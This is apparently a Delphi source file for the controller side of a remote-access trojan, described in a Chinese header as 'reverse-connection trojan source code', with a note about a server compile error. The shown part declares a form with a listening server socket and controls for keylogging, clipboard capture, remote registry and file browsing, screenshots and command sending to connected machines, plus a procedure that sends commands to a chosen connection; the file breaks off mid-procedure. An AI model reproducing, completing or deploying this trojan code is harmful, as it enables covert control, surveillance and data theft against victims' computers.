unit1.pas

软件介绍:反弹连接木马源码 １、编译服务端。 服务端在进行编译时会提示出错 （停在“fme.SaveToFile(stf) ”段）

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ScktComp, ComCtrls, ExtCtrls, Menus, Buttons, ImgList,
  WinSock,Jpeg, CheckLst,  bsSkinCtrls, BusinessSkinForm, CoolTrayIcon,
  WinSkinData;

type
  TForm1 = class(TForm)
    mainPC: TPageControl;
    TS1: TTabSheet;
    TS3: TTabSheet;
    TS2: TTabSheet;
    TS4: TTabSheet;
    TS5: TTabSheet;
    TS6: TTabSheet;
    Panel1: TPanel;
    sb: TStatusBar;
    Label1: TLabel;
    IPNS: TEdit;
    GroupBox1: TGroupBox;
    yckz: TPageControl;
    KZTS2: TTabSheet;
    KZTS3: TTabSheet;
    ss: TServerSocket;
    CK: TGroupBox;
    CKED1: TEdit;
    CKL1: TLabel;
    CKL2: TLabel;
    CKED2: TEdit;
    CKB1: TBitBtn;
    CKB2: TBitBtn;
    GroupBox2: TGroupBox;
    clipm: TMemo;
    CKB6: TBitBtn;
    CKB7: TBitBtn;
    GroupBox3: TGroupBox;
    DOSB1: TBitBtn;
    FS2: TRadioButton;
    FS3: TRadioButton;
    FS4: TRadioButton;
    FS1: TRadioButton;
    DOSCB1: TComboBox;
    DOSCB2: TComboBox;
    DOSL1: TLabel;
    DOSL2: TLabel;
    GroupBox4: TGroupBox;
    JCBOX: TListBox;
    JCB1: TButton;
    JCL1: TLabel;
    JCL2: TLabel;
    JCB2: TButton;
    GroupBox5: TGroupBox;
    Label7: TLabel;
    Label9: TLabel;
    XXCB1: TComboBox;
    XXCB2: TComboBox;
    rr1: TRadioButton;
    Image1: TImage;
    rr2: TRadioButton;
    Image2: TImage;
    rr3: TRadioButton;
    Image3: TImage;
    rr4: TRadioButton;
    Image4: TImage;
    ccb1: TBitBtn;
    ccb2: TBitBtn;
    KZTS1: TTabSheet;
    GroupBox6: TGroupBox;
    GroupBox8: TGroupBox;
    key1: TBitBtn;
    key2: TBitBtn;
    key3: TBitBtn;
    key4: TBitBtn;
    key5: TBitBtn;
    key6: TBitBtn;
    key7: TBitBtn;
    key8: TBitBtn;
    key9: TBitBtn;
    key10: TBitBtn;
    key11: TBitBtn;
    key12: TBitBtn;
    key13: TBitBtn;
    GroupBox9: TGroupBox;
    GroupBox10: TGroupBox;
    Label11: TLabel;
    Label10: TLabel;
    ME1: TEdit;
    ME2: TEdit;
    MR1: TRadioButton;
    MR2: TRadioButton;
    MR3: TRadioButton;
    MB3: TBitBtn;
    MB1: TBitBtn;
    MB2: TBitBtn;
    BitBtn1: TBitBtn;
    Label2: TLabel;
    pased: TEdit;
    Label3: TLabel;
    FLV1: TListView;
    pm2: TPopupMenu;
    pm3: TPopupMenu;
    PMC: TPopupMenu;
    N6: TMenuItem;
    N7: TMenuItem;
    N8: TMenuItem;
    N9: TMenuItem;
    N10: TMenuItem;
    N12: TMenuItem;
    N14: TMenuItem;
    N15: TMenuItem;
    N16: TMenuItem;
    N17: TMenuItem;
    SCF: TOpenDialog;
    BitBtn7: TBitBtn;
    SYCB: TGroupBox;
    BitBtn4: TBitBtn;
    BitBtn3: TBitBtn;
    BitBtn6: TBitBtn;
    BitBtn5: TBitBtn;
    BitBtn2: TBitBtn;
    GroupBox11: TGroupBox;
    syed1: TEdit;
    syl1: TLabel;
    PROS: TComboBox;
    sver: TImage;
    GroupBox12: TGroupBox;
    Label4: TLabel;
    dFS2: TRadioButton;
    dFS3: TRadioButton;
    dFS4: TRadioButton;
    dFS1: TRadioButton;
    DOSCB3: TComboBox;
    syl2: TLabel;
    syed2: TEdit;
    syl3: TLabel;
    syed3: TEdit;
    ImageList1: TImageList;
    GroupBox13: TGroupBox;
    regpc: TPageControl;
    REG1: TTabSheet;
    REGTV: TTreeView;
    REGLV: TListView;
    REG2: TTabSheet;
    syed4: TEdit;
    syl4: TLabel;
    FTV: TTreeView;
    REGB: TPopupMenu;
    MenuItem12: TMenuItem;
    MenuItem13: TMenuItem;
    MenuItem14: TMenuItem;
    MenuItem15: TMenuItem;
    MenuItem18: TMenuItem;
    MenuItem1: TMenuItem;
    MenuItem11: TMenuItem;
    MenuItem2: TMenuItem;
    MenuItem17: TMenuItem;
    REGA: TPopupMenu;
    MenuItem3: TMenuItem;
    MenuItem4: TMenuItem;
    MenuItem5: TMenuItem;
    MenuItem6: TMenuItem;
    Splitter1: TSplitter;
    Panel2: TPanel;
    FCB: TComboBox;
    Splitter2: TSplitter;
    Panel3: TPanel;
    ImageList2: TImageList;
    Label5: TLabel;
    Label6: TLabel;
    dirsum: TEdit;
    filesum: TEdit;
    savfi: TSaveDialog;
    N2: TMenuItem;
    N11: TMenuItem;
    N13: TMenuItem;
    N18: TMenuItem;
    N19: TMenuItem;
    N20: TMenuItem;
    N21: TMenuItem;
    regt1: TTimer;
    FILt1: TTimer;
    screens: TImage;
    UPFI: TOpenDialog;
    N1: TMenuItem;
    N3: TMenuItem;
    N4: TMenuItem;
    N5: TMenuItem;
    N22: TMenuItem;
    N23: TMenuItem;
    N24: TMenuItem;
    Panel4: TPanel;
    IPVI: TListView;
    Panel5: TPanel;
    firstbt: TBitBtn;
    P6: TPanel;
    CKB4: TBitBtn;
    CKB5: TBitBtn;
    CKB8: TBitBtn;
    CKB9: TBitBtn;
    CKB10: TBitBtn;
    CKB11: TBitBtn;
    BitBtn8: TBitBtn;
    CKB3: TBitBtn;
    BitBtn9: TBitBtn;
    BitBtn10: TBitBtn;
    BitBtn11: TBitBtn;
    GGSS: TGroupBox;
    KEYRS: TGroupBox;
    keyre: TMemo;
    keybg: TBitBtn;
    clre: TButton;
    keyen: TBitBtn;
    keysav: TBitBtn;
    RE2: TComboBox;
    OK2: TButton;
    CA2: TButton;
    key16: TBitBtn;
    key17: TBitBtn;
    GroupBox7: TGroupBox;
    TXT: TMemo;
    SEKE: TBitBtn;
    Label13: TLabel;
    XXCB3: TComboBox;
    Icon: TCoolTrayIcon;
    im: TImageList;
    conti: TTimer;
    SkinData1: TSkinData;
    EXCB: TComboBox;
    fsreg: TGroupBox;
    Label8: TLabel;
    stck: TCheckListBox;
    IEE1: TEdit;
    IEE2: TEdit;
    R4: TGroupBox;
    L7: TLabel;
    E7: TEdit;
    t7: TbsSkinTrackBar;
    R1: TGroupBox;
    L1: TLabel;
    L2: TLabel;
    E1: TEdit;
    E2: TEdit;
    t1: TbsSkinTrackBar;
    t2: TbsSkinTrackBar;
    R3: TGroupBox;
    L5: TLabel;
    L6: TLabel;
    E5: TEdit;
    E6: TEdit;
    t5: TbsSkinTrackBar;
    t6: TbsSkinTrackBar;
    R2: TGroupBox;
    L3: TLabel;
    L4: TLabel;
    E3: TEdit;
    E4: TEdit;
    t3: TbsSkinTrackBar;
    t4: TbsSkinTrackBar;
    Label12: TLabel;
    CBA: TCheckBox;
    BTA: TButton;
    procedure ssClientError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ssClientRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure JCB1Click(Sender: TObject);
    procedure JCB2Click(Sender: TObject);
    procedure IPVIDblClick(Sender: TObject);
    procedure firstbtClick(Sender: TObject);
    procedure keybgClick(Sender: TObject);
    procedure keyenClick(Sender: TObject);
    procedure key1Click(Sender: TObject);
    procedure key2Click(Sender: TObject);
    procedure key3Click(Sender: TObject);
    procedure key4Click(Sender: TObject);
    procedure key5Click(Sender: TObject);
    procedure key6Click(Sender: TObject);
    procedure key7Click(Sender: TObject);
    procedure key8Click(Sender: TObject);
    procedure key9Click(Sender: TObject);
    procedure key10Click(Sender: TObject);
    procedure key11Click(Sender: TObject);
    procedure key12Click(Sender: TObject);
    procedure key13Click(Sender: TObject);
    procedure clreClick(Sender: TObject);
    procedure MB3Click(Sender: TObject);
    procedure MB1Click(Sender: TObject);
    procedure MB2Click(Sender: TObject);
    procedure CKB1Click(Sender: TObject);
    procedure CKB2Click(Sender: TObject);
    procedure CKB3Click(Sender: TObject);
    procedure CKB4Click(Sender: TObject);
    procedure CKB5Click(Sender: TObject);
    procedure key16Click(Sender: TObject);
    procedure key17Click(Sender: TObject);
    procedure CKB6Click(Sender: TObject);
    procedure CKB7Click(Sender: TObject);
    procedure DOSB1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure ccb1Click(Sender: TObject);
    procedure ccb2Click(Sender: TObject);
    procedure CKB8Click(Sender: TObject);
    procedure CKB9Click(Sender: TObject);
    procedure CKB10Click(Sender: TObject);
    procedure CKB11Click(Sender: TObject);
    procedure BitBtn2Click(Sender: TObject);
    procedure BitBtn3Click(Sender: TObject);
    procedure BitBtn4Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure BitBtn1Click(Sender: TObject);
    procedure N3Click(Sender: TObject);
    procedure BitBtn5Click(Sender: TObject);
    procedure BitBtn6Click(Sender: TObject);
    procedure BitBtn7Click(Sender: TObject);
    procedure BitBtn8Click(Sender: TObject);
    procedure PROSChange(Sender: TObject);
    procedure syl1DblClick(Sender: TObject);
    procedure syl2DblClick(Sender: TObject);
    procedure syl3DblClick(Sender: TObject);
    procedure syed1KeyPress(Sender: TObject; var Key: Char);
    procedure syl4DblClick(Sender: TObject);
    procedure syed4KeyPress(Sender: TObject; var Key: Char);
    procedure FTVMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure REGTVMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure REGLVMouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure MenuItem4Click(Sender: TObject);
    procedure MenuItem3Click(Sender: TObject);
    procedure MenuItem6Click(Sender: TObject);
    procedure MenuItem14Click(Sender: TObject);
    procedure MenuItem13Click(Sender: TObject);
    procedure MenuItem15Click(Sender: TObject);
    procedure MenuItem18Click(Sender: TObject);
    procedure REGLVEdited(Sender: TObject; Item: TListItem; var S: String);
    procedure MenuItem11Click(Sender: TObject);
    procedure MenuItem17Click(Sender: TObject);
    procedure REGLVDblClick(Sender: TObject);
    procedure stckClickCheck(Sender: TObject);
    procedure pasedKeyPress(Sender: TObject; var Key: Char);
    procedure sverClick(Sender: TObject);
    procedure FCBChange(Sender: TObject);
    procedure FTVDblClick(Sender: TObject);
    procedure FLV1DblClick(Sender: TObject);
    procedure N6Click(Sender: TObject);
    procedure N8Click(Sender: TObject);
    procedure N12Click(Sender: TObject);
    procedure N15Click(Sender: TObject);
    procedure N17Click(Sender: TObject);
    procedure N9Click(Sender: TObject);
    procedure N13Click(Sender: TObject);
    procedure N18Click(Sender: TObject);
    procedure N19Click(Sender: TObject);
    procedure N21Click(Sender: TObject);
    procedure regt1Timer(Sender: TObject);
    procedure TS2Show(Sender: TObject);
    procedure FILt1Timer(Sender: TObject);
    procedure TS1Show(Sender: TObject);
    procedure TS3Show(Sender: TObject);
    procedure REGTVKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure FTVKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure REGLVKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure FLV1KeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
    procedure screensClick(Sender: TObject);
    procedure N22Click(Sender: TObject);
    procedure IEE1KeyPress(Sender: TObject; var Key: Char);
    procedure IEE2KeyPress(Sender: TObject; var Key: Char);
    procedure Label8Click(Sender: TObject);
    procedure Label12Click(Sender: TObject);
    procedure IEE1MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure IEE2MouseDown(Sender: TObject; Button: TMouseButton;
      Shift: TShiftState; X, Y: Integer);
    procedure N1Click(Sender: TObject);
    procedure FTVEdited(Sender: TObject; Node: TTreeNode; var S: String);
    procedure N5Click(Sender: TObject);
    procedure BitBtn9Click(Sender: TObject);
    procedure BitBtn10Click(Sender: TObject);
    procedure BitBtn11Click(Sender: TObject);
    procedure T1Change(Sender: TObject);
    procedure T2Change(Sender: TObject);
    procedure T3Change(Sender: TObject);
    procedure T4Change(Sender: TObject);
    procedure T5Change(Sender: TObject);
    procedure T6Change(Sender: TObject);
    procedure T7Change(Sender: TObject);
    procedure L1Click(Sender: TObject);
    procedure L2DblClick(Sender: TObject);
    procedure L3DblClick(Sender: TObject);
    procedure L4DblClick(Sender: TObject);
    procedure L5DblClick(Sender: TObject);
    procedure L6DblClick(Sender: TObject);
    procedure L7DblClick(Sender: TObject);
    procedure OK2Click(Sender: TObject);
    procedure CA2Click(Sender: TObject);
    procedure keysavClick(Sender: TObject);
    procedure ME1KeyPress(Sender: TObject; var Key: Char);
    procedure ME2KeyPress(Sender: TObject; var Key: Char);
    procedure SEKEClick(Sender: TObject);
    procedure TXTKeyPress(Sender: TObject; var Key: Char);
    procedure DOSCB3KeyPress(Sender: TObject; var Key: Char);
    procedure PROSKeyPress(Sender: TObject; var Key: Char);
    procedure contiTimer(Sender: TObject);
    procedure EXCBKeyPress(Sender: TObject; var Key: Char);
    procedure CBAClick(Sender: TObject);
    procedure BTAClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  fullip,kks,i,t,renum:integer;
  MySize: Longint;
  Myst: TMemorystream;{内存流对象}
  dirname,filname, fscreen:string;
  DOWF,UPF:TFileStream;

implementation
uses unit2, Unit3,unit4;

{$R *.dfm}

function ipdd():string;
var wda: TWSAData;
    s: array[0..128] of char;
begin
     WSAStartup(MAKEWORD(1, 1), wda);
     GetHostName(@s, 128);
     result :=iNet_ntoa(PInAddr(GetHostByName(@s)^.h_addr_list^)^);
end;

procedure command(ss:string);
begin//发送命令
 try
   form1.ss.Socket.Connections[fullip].SendText(ss);
 except
   application.MessageBox('该连接已经断开！','提示' );
   form1.IPNS.Text :='请选择要控制的IP！';
   form1.FTV.Items.Clear ;
   form1.FLV1.Clear ;
   form1.FCB.Text :='c:';
   form1.EXCB.Text :='*.*';
   form1.dirsum.Clear ;
   form1.filesum.Clear ;
   form1.ipvi.Clear ;
   form1.ss.Active :=false;
   form1.conti.Enabled :=true;
   form1.mainpc.ActivePage :=form1.TS1;
   form1.mainpc.Enabled :=false;